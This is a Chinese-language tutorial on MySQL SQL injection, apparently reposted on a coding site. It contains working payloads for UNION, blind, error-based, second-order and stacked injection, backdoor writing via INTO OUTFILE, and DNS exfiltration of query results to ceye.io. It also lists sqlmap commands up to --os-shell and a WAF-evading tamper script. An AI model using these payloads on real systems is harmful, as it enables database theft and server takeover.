SQL注入原理及思路(mysql)

数据库知识

mysql数据库
show database; #列出所有数据库
show tables; #列出所有表名
show columns from 表名; #列出表的列
select * from 表名 #查询数据库中某表的信息
select * from 表名 where 列=xx #查询某表中符合列=xx的信息
select * from 表名 order by 数字 #用于将结果集按照某列进行排序(asc 升序desc 降序),在sql注入中通常用来判断前面查询结果集的列数,用于联合union查询
select * from 表名1 union select * from 表名2 #union操作符用于合并两个或多个select语句的结果。但是必须保证前后的select语句必须保证拥有相同数量的列,
insert into 表名(`1`,`2`,`3`) values ('值1','值2','值3');#给表中添加数据
delete from 表名 where 列=xx;#删除表中数据
update 表名 set 列=xx where 条件;#修改数据
对于mysql5.0以上版本,有数据库information_schema存放数据库所有信息
schemata表(存放所有的数据库):schema_name列(所有的数据库名)
tables表(存放所有的表信息):table_schema列(数据库名) table_name列(表名)
columns表(存放所有的列信息):table_schema列(数据库名) table_name列(表名)column_name列(列名)
select * from 表名 limit 3/limit 0,1; #只有一个参数值时将表中前三条数据列出来;两个参数是从0行开始取1条数据

SQL注入原理

SQL注入有两个前提条件:源码中有执行的sql语句、参数可控且未对参数进行过滤;满足以上两个条件我们就可以任意构造sql语句且执行,从而获取我们想要的信息。

SQL注入思路

无任何过滤机制

无符号干扰
针对url中?id=1的思路
源码:$id=$_GET['id'] ?? '1';$sql="select * from news where id=$id";//最原始、没有任何过滤的情况
?id=1 order by 数字 //数字从1开始试探,直到页面和之前不一样;用于判断select查询结果的列数
?id=1 union select 1,2,3 //此处的数字写到上面猜解出的列数;此时查看页面是否返回数字(不返回的话换出id=-1让其报错)
当页面报出对应数字之后,我们将其数字改成想要查询内容的函数;数据库版本version()-判断是否符合information_schema查询(mysql5.0以上版本有)、当前用户user()-是否符合root型攻击、当前操作系统@@version_compile_os()-看是否支持大小写或文件路径选择、查询当前数据库database()-便于后面猜解该数据库下的表
?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' //查询该数据库下的所有表名
?id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="数据库名" and table_name="表名" //查询数据库名下表名中的所有列名
?id=1 union select 1,2,"列名" from "表名" limit 0,1 //查询想要的信息如果是root用户具有管理员权限,即可进行跨库查询?id=1 union select 1,2 group_concat(schema_name) from information_schema.schemata //查询所有数据库名
知道数据库名之后继续按照上面思路一一猜解信息如果是root用户且secure-file-priv未设置,可进行文件读写?id=1 union select 1,load_file('d:\\1.txt') //读取D盘下文件1.txt内容
?i=1 union select 1,'后门代码' into outfile 'd:\\2.txt' //如果我们可以把后门代码写入网站目录下则可以直接连接,前提是获取到网络目录(报错显示获取路径、phpinfo页面泄露、利用中间件默认配置文件获取)如果是对引号有过滤的话,我们可以对引号的内容进行十六进制编码绕过。

有符号干扰 

上面这种在源码中的id=$id是不带引号的,如果带引号的话我们在每一步之前都要先闭合引号再构造sql语句。

针对url中?id='1'的思路
源码:$id=$_GET['id'] ?? '1';$sql="select * from news where id='$id'";//思路同上,就是在id的值后面加一个引号进行闭合,在最后面加一个注释符# --+
$id=$_GET['id'] ?? '1';$sql="select * from news where id='%$id%'";//在id的值后面加上%'闭合,最后加上注释符
$id=$_GET['id'] ?? '1';$sql="select * from news where id=('$id')";//在id的值后面加')闭合,最后加注释符
$id=$_GET['id'] ?? '1';$sql="select * from news where (id='$id')";//在id的值后面加')闭合,最后加注释符总结:
SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句,大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原SQL语句的未知性导致的拼接失败!
其它注入点(post、数据包头部信息)
上面的都是以get提交的注入点,通常只要在源码中存在与数据库交互的地方都有可能存在注入点(post提交的数据、http头等)
post表单提交数据:可以使用火狐post提交数据测试,测试思路同get方式,只是这个需要以post提交数据
数据包头部
user-agent:使得服务器能够识别客户使用的操作系统,浏览器版本等等
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]);有些网站如果使用的是xff获取我们ip,我们可以通过修改数据包中的xff字段进行绕过ip检测
在http头中注入通常都是抓包,然后在数据包中修改头部信息进行尝试注入

SQL盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

基于布尔的盲注

条件:该盲注必须有回显,用于判断构造的sql语句是否正确。(通常情况下只有select查询才会有回显,其余的增删改并没有回显)

在注入点构造sql语句:
and length(database())=7 #用于判断数据库名称位数,如果猜对页面正常显示,否则页面错误
and left(database(),1)='d'; #用于判断数据库名第一位是否为d
and left(database(),2)='de'; #用于判断数据库名前两位是否为de

基于时间的盲注-延时判断

不需要任何条件

 构造sql语句
and if(length(database())=7,sleep(10),sleep(0)) #根据是否执行sleep函数判断数据库名字的长度
and if(left(database(),1)='d',sleep(10),sleep(0)#根据sleep函数判断数据库名第一个字符是否为d
or if(ord(left(database(),1))=107,sleep(2),0) #107是字母k对应的ASCII码,当存在过滤引号时候可以使用ASCII替换
这个时间我们可以通过使用工具bp来判断,在bp的repeater中右下角会显示返回数据包所用时间。

基于报错的盲注

条件:有数据库报错处理判断标准

源码:mysqli_query($con,$sqlor die(mysqli_error($con));//关键就是在源码中有输出错误信息

在注入点构造sql语句
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) //会在页面的报错信息中显示版本
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 

mysql二次注入

原理:

  1. 插入恶意数据,第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义(addslashes转义函数,转义是关键否则不能造成二次注入),在写入数据库的时候还保留了原来的数据,但是数据本身包含恶意内容
  2. 引用恶意数据,在将数据存入到数据库中之后,开发者就认为数据是可信的。在下一次要进行查询的时候,直接从数据库中取出了恶意数据,没有进一步的处理和检验,这样就造成了二次注入。
场景:
在我们注册且登陆之后,有修改密码功能,该功能只需要我们输入旧密码和新密码即可;在注册时候可以插入恶意数据,下面语句正常插入的前提是有转义
用户名:admin ' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
在修改密码的时候就会执行:
select * from users where username='$username' and password='$password //此时就会上面用户名待人sql语句执行

堆叠注入

原理:堆叠注入触发的条件很苛刻,就是在存在注入点的地方通过分号结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行

条件:目标存在sql注入点、目标未对分号进行过滤、目标数据库支持查询信息时执行多条sql语句。(eg:mysql、mssql、postgresql等等)

2019强网杯
堆叠注入但是对select过滤,无法直接执行select语句
SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; //先对要执行的sql查询语句进行十六进制编码,然后赋值给@a

带外查询

条件:root高权限且支持load_file();主要解决的是没有回显问题

平台:http://ceye.io

http://www.dnslog.cn

//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))//查询字段值  数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))其中xxx.txt是随意写的,而.dbuh8a.ceye.io是带外平台中的dns

自动化sql注入工具——sqlmap(基于数据库mysql)

sqlmap -"http://xxxx?artist=1"  //判断是否有注入点
sqlmap -"http://xxxx?artist=1" --current-db //查看当前数据库 结果acuart
sqlmap -"http://xxxx?artist=1" --current-user //查看当前用户
sqlmap -"http://xxxx?artist=1" --tables -D acuart //查看当前数据库下所有表
sqlmap -"http://xxxx?artist=1" --columns -T users -D acuart //查看users表下所有列
sqlmap -"http://xxxx?artist=1" --dump -C "name,pass" -T users -D acuart//查询列name pass中的数据
sqlmap -"http://xxxx?artist=1" --dump-all -C "name,pass" -T users -D acuart//查询所有数据
sqlmap -"http://xxxx?artist=1" --is-dba//判断是否为高权限用户 current user is DBA: False这种情况就是低权限
sqlmap -r xx.txt(文件为请求数据包和post提交数据,在注入点后面加*)//非get方式注入点的方法-tamper=xxx.py //对于有waf或者编码等问题我们可以使用tamper脚本。-v 数字0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 --user-agent ""  #自定义user-agent 默认是sqlmap
--random-agent   #随机user-agent
--time-sec=(2-5) #延迟响应,默认为5
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--proxy "http:/127.0.0.1:8888" #代理注入,便于抓包查看注入过程的数据包,sqlmap和bp联动如果当前是高权限用户,可以使用以下命令:
sqlmap -"http://xxxx?artist=1" --sql-shell //可以执行sql命令
--file-read "d:\\xx.txt" //读取文件xx.txt
--file-write "d:\\xx.txt" --file-dest "/root/xx" //将本地d盘下xxx文件写入服务器root目录下xx文件
--os-cmd=calc //执行cmd命令 弹出计算器
--os-shell //执行shell命令
--dbs //查看所有数据库

"""
tamper脚本书写模板
"""
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):if payload:      
        payload = payload.replace('SELECT','sElEct')
        payload = payload.replace('OR','Or')
        payload = payload.replace('AND','And')
        payload = payload.replace('SLEEP','SleeP')
        payload = payload.replace('ELT','Elt')return payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/123535.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spark UI中Shuffle dataSize 和shuffle bytes written 指标区别

背景 本文基于Spark 3.1.1 目前在做一些知识回顾的时候,发现了一些很有意思的事情,就是Spark UI中ShuffleExchangeExec 的dataSize和shuffle bytes written指标是不一样的, 那么在AQE阶段的时候,是以哪个指标来作为每个Task分区大…

了解单域名证书和通配符证书的区别,选择合适的SSL证书解决方案

随着互联网的不断发展,网站安全性问题一直备受关注,在保护网站数据安全的过程中,SSL证书一直发挥着至关重要的作用。而在选择SSL证书时,单域名证书和通配符证书是两种常见的选择。本文将详细介绍单域名证书和通配符证书的区别&…

多分类loss学习记录

这里简单的记录在人脸识别/声纹识别中常用的分类loss。详细原理可以参考其他博客。 扩展资料1 扩展资料2 L-softmax A-softmax AM-softmax L-softmax :基于softmax加入了margin, Wx 改写为||w||||x||cos(角度),将角度变为了m角度 A-softmax &…

Cocos Creator 中使用装饰器进行自动绑定

推荐一个偷懒的方式,使用装饰器自动绑定节点到脚本的属性 背景 用 Cocos Creator 写脚本组件的时候,有时需要场景中一个节点作为这个脚本的属性值。 按照官方文档推荐的方法,需要以下两步 添加一个 property 属性,在场景中拖入这个…

ORB-SLAM3算法2之开源数据集运行ORB-SLAM3生成轨迹并用evo工具评估轨迹

文章目录 0 引言1 数据和真值1.1 TUM1.2 EuRoc1.3 KITTI2 ORB-SLAM3的EuRoc示例3 ORB-SLAM3的TUM-VI示例4 ORB-SLAM3的ROS各版本示例4.1 单目4.2 单目和IMU4.3 双目4.4 双目和IMU4.5 RGB-D0 引言 ORB-SLAM3算法1 已成功编译安装ORB-SLAM3到本地,本篇目的是用TUM、EuRoc和KITT…

案例分析大汇总

案例分析心得 2018-2022年的案例分析考试内容汇总(近五年) 架构设计题型 软件系统建模 数据库 Web 系统设计 2018年 胖/瘦客户端 C/S 架构非功能性需求 数据流图DFDE-R图Essential Use Cases(抽象用例),Real Use Cases(基础用例)信息工…

双目视觉计算三维坐标

一、原理 双目视觉的基本原理,以及公式推导,我参考的b站上的视频,链接如下: 2-线性相机模型-Linear Camera Model-Camera Calibration_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1Q34y1n7ot/?p2&spm_id_from333.…

vue 路由懒加载,图片懒加载,组件懒加载

1.路由懒加载 方法一: import { createRouter, createWebHistory } from vue-router;const Home () > import(./components/Home.vue); const About () > import(./components/About.vue); const Contact () > import(./components/Contact.vue);cons…

Android底层摸索改BUG(二):Android系统移除预置APP

首先我先提供以下博主博文,对相关知识点可以提供理解、解决、思考的 Android 系统如何预装第三方应用以及常见问题汇集android Android.mk属性说明及预置系统app操作说明系Android 中去除系统原生apk的方法 取消预置APK方法一: 其实就是上面的链接3&a…

03、SpringCloud -- 动态倒计时 及 当前用户的获取(用户未登录提示其登录)

目录 动态倒计时需求思路代码效果优化获取当前登录用户思路代码前端后端controllerservice接口impl实现效果问题修改动态倒计时 需求 根据不同时间展示不同状态,动态显示时间,如原型图: 思

Lua脚本语言

1. 概念 Lua(发音为"loo-ah",葡萄牙语中的"lua"意为月亮)是一种轻量级的、高效的、可嵌入的脚本编程语言。官网Lua最初由巴西计算机科学家Roberto Ierusalimschy、Waldemar Celes和Luiz Henrique de Figueiredo于1993年开…

【JVM】字节码文件的组成部分

🐌个人主页: 🐌 叶落闲庭 💨我的专栏:💨 c语言 数据结构 javaEE 操作系统 Redis 石可破也,而不可夺坚;丹可磨也,而不可夺赤。 JVM 一、字节码文件的组成部分1.1 iconst_0…

Linux命令(108)之dirname

linux命令之dirname 1.dirname介绍 linux命令dirname是用来获取文件的指定路径 2.dirname用法 dirname [参数] NAME dirname参数 参数说明-z使用NUL而不是换行符分隔输出--help查看帮助信息--version查看版本信息 3.实例 3.1.获取文件的指定路径 命令: dirn…

聊一下Word2vec-训练优化篇

Word2vec 涉及到两种优化方式,一种是负采样,一种是层序Softmax 先谈一下负采样,以跳字模型为例。中心词生成背景词可以由两个相互独立事件的联合组成来近似(引自李沐大神的讲解)。 第一个事件是,中心词和…

idea 提升效率的常用快捷键 汇总

点击File --> Settings --> keymap便可进入看到 IDEA 提供的快捷键。我们也可以搜索和自定义所有快捷键 下面13个事我常用的快捷键,后面还有全部,可以当做字典来查 1.当前文件下查找:CtrlF 当前文件下替换:CtrlR 2.当前…

前端的简单介绍

前端核心的分析 CSS语法不够强大,比如无法嵌套书写,倒是模块化开发中需要书写很多重复的选择器 没有变量和合理的样式复用机制,使逻辑上相关的属性值必须字面量的心事重复的输出,导致难以维护 CSS预处理器,减少代码的笨重&#…

前端 :用HTML和css制作一个小米官网的静态页面

1.HTML&#xff1a; <body><div id "content"><div id "box"><div id "top"><div id "top-left"><span id "logo">MI</span><span id "text-logo">小米账…

leetcode-二叉树

B树和B树的区别 B树&#xff0c;也即balance树&#xff0c;是一棵多路自平衡的搜索树。它类似普通的平衡二叉树&#xff0c;不同的一点是B树允许每个节点有更多的子节点。 B树内节点不存储数据&#xff0c;所有关键字都存储在叶子节点上。B树&#xff1a; B树&#xff1a; 二叉…

kafka丢数据的原因

目录 背景kafkaClient代码消息丢失的可能原因broker is downRD_KAFKA_MSG_SIZE_TOO_LARGE分区问题Kafka Broker的处理能力无法跟上&#xff0c;可能会出现以下情况 Some基础知识补充 背景 采用的client是librdkafka&#xff0c;在producerClient Send的数据时候发现会有数据丢…

Maven - 国内 Maven 镜像仓库(加速包,冲冲冲~)

<?xml version"1.0" encoding"UTF-8" ?><!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding…